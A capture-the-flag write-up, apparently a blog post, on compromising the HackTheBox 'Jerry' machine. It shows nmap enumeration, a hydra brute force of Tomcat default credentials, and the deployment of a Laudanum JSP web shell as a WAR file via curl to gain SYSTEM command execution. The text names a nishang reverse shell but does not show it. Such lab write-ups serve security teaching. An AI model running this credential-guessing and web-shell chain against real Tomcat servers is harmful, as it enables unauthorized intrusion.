Jerry is a vulnerable virtual machine created by mrh4sh on HackTheBox. In this post, we document a complete walkthrough of pwning this machine.
Enumeration
Nmap
Starting off with the nmap
scan, we see that the target is running Tomcat
on port 8080.
1
2
3
4
5
6
7
8
9
10
$ nmap -sC -sV -oA recon/default 10.10.10.95
Nmap scan report for 10.10.10.95
Host is up (0.097s latency).
Not shown: 999 filtered ports
PORT STATE SERVICE VERSION
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
|_http-favicon: Apache Tomcat
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat/7.0.88
HTTP
We go to http://10.10.10.95:8080
in our browser, and see a Tomcat
home page.
A general guide to attacking Tomcat
can be found here. First, we will go to /manager
page to try a few default credentials. When we try admin:admin
, we get a 403 forbidden, which means that the credentials are valid, but not permitted to access /manager
page.
Since default credentials work, it’s worth trying a few more with hydra
.
1
2
3
4
5
6
$ hydra -C /usr/share/seclists/Passwords/Default-Credentials/tomcat-betterdefaultpasslist.txt -s 8080 10.10.10.95 http-get /manager/html
...
[8080][http-get] host: 10.10.10.95 login: admin password: admin
[8080][http-get] host: 10.10.10.95 login: tomcat password: s3cret
Sweet, we have found other valid credentials. With tomcat:s3cret
, we have successfully logged in to the manager
page.
Exploitation
With access to manager
page, we are able to deploy Tomcat applications, which means that we are now able to achieve RCE with java
, or more specifically jsp
code.
First, we will create a war
file, which is just the container type for jsp
web applications. We copy out the web shell /usr/share/laudanum/jsp/warfiles/cmd.jsp
, and modify the IP check part, which originally has a few bugs, to the following:
1
2
3
4
if (!request.getRemoteAddr().equals("10.10.14.3")) {
response.sendError(HttpServletResponse.SC_NOT_FOUND);
return;
}
To create the war
file, we just need to pack the jsp
with zip
.
1
$ zip cmd.war cmd.jsp
Now that we have the war
file, we just need to deploy it.
1
2
$ curl -u tomcat:s3cret --upload-file cmd.war "http://10.10.10.95:8080/manager/text/deploy?path=/cmd"
OK - Deployed application at context path /cmd
Visiting http://10.10.10.95:8080/cmd/cmd.jsp
, we get our web shell. We type whoami
command and click send
to check if we can execute commands. Suddenly we find that this is a Windows machine and Tomcat
is running as system
!
At this point, it is trivial to get a reverse shell with system
privileges using Invoke-PowerShellTcp.ps1
from nishang
. In this post we won’t bother showing that part since it has been shown in every other post. Check other posts to learn how.